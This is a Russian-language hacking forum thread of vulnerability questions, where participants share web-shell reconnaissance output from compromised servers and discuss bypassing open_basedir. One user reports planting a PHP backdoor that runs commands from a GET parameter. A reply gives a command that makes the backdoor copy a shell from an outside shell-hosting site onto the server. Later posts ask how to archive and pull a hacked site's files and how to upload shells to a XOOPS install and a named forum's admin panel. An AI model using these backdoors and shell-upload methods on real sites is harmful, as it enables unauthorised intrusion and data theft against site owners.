Ваши вопросы по уязвимостям.

Konqi
абсолютно прав.ссылка открывается в iframe.складывается такое ощущение что ты знаешь о каком сайте идет речь))
ладно попробую.только узнаю как это делается для начала

 

Как обойти open_basedir? сколько не пробывал не получается)

Code:

[B]Server software:[/B] Apache/2.2.9 (FreeBSD) PHP/5.2.8 mod_ssl/2.2.9 OpenSSL/0.9.7e-p1
[B]Loaded Apache modules:[/B] core, prefork, http_core, mod_so, mod_authn_file, mod_authz_host, mod_authz_user, mod_auth_basic, mod_include, mod_log_config, mod_logio, mod_env, mod_mime_magic, mod_expires, mod_headers, mod_setenvif, mod_ssl, mod_mime, mod_autoindex, mod_suexec, mod_cgi, mod_dir, mod_actions, mod_userdir, mod_alias, mod_rewrite, mod_php5, mod_rpaf-2, mod_ispmgr
[B]Disabled PHP Functions:[/B] none
[B]Open base dir:[/B] /home/lc/data:.
[B]cURL support:[/B] enabled
[B]Supported databases:[/B] MySql (5.0.67), MSSQL, PostgreSQL

[B]Readable /etc/passwd:[/B] no
[B]Readable /etc/shadow:[/B] no

[B]Userful:[/B] gcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip2, nc, locate, suidperl
[B]Danger:[/B] ipfw
[B]Downloaders:[/B] wget, fetch, lynx, curl, lwp-mirror

 

Да сработало, создал файл с <?php system($_GET["cmd"]); ?>
-------
P.S> OxoTnik спасибо, но уже сделал по другому))

 

скрипт_где_бекдор.php?cmd=phpinfo(); тут посмотри пути до скрипта


скрипт_где_бекдор.php?cmd=copy("http://сайт_с_шелом.com/shell.txt","путь_к_корню_скрипта/2.php");

 

)) *Улыбнуло*

Возник еще вопрос, пытаюсь заархивировать получаю:
$ tar cjf /tmp/site.tar.bz2 /usr/local/psa/home/vhosts/site.ru/ 2>&1
/libexec/ld-elf.so.1: /usr/local/lib/liblzma.so.5: version XZ_5.0 required by /usr/lib/libarchive.so.5 not defined

Code:

Server software: Apache/2.0.63 (Unix) PHP/5.2.8
Loaded Apache modules: core, prefork, http_core, mod_so, mod_access, mod_auth, mod_auth_anon, mod_auth_dbm, mod_charset_lite, mod_include, mod_deflate, mod_log_config, mod_env, mod_mime_magic, mod_cern_meta, mod_expires, mod_headers, mod_usertrack, mod_unique_id, mod_setenvif, mod_mime, mod_status, mod_autoindex, mod_asis, mod_info, mod_cgi, mod_vhost_alias, mod_negotiation, mod_dir, mod_imap, mod_actions, mod_speling, mod_userdir, mod_alias, mod_rewrite, mod_suexec, mod_php5, mod_rpaf-2
Disabled PHP Functions: none
Safe mode exec dir: /nonexec
cURL support: enabled
Supported databases: MySql (4.1.25)

Readable /etc/passwd: yes [view]
Readable /etc/shadow: no

Userful: gcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip2, nc, locate
Danger: clamd, ipfw, snort
Downloaders: wget, fetch, lynx, links, curl, lwp-mirror

 

Какие есть еще варианты что бы заархивировать, а не качать по одному файлу?

 

Пробывал, но есть одна проблема он иногда папку в которой 2 текстовых документа по несколько кб. он скачивает как 10-300 мб, и показывает битый архив

 

там и сам инклюд не прячется, рядом:
page=article_menu.php?menu_item=/blabla

 

как это дешифровать? --- дешифровал)

ток что это значит хз)

 

ну форуме в логах засветилась шифрованная шляпа...я запостил вопрос - как дешифровать, потом сам дешифровал)

 

Как залить шелл?
Версия Xoops XOOPS 2.0.18.2

 

Есть админка к форуму forum.simix.ru, как можно загнать шелл?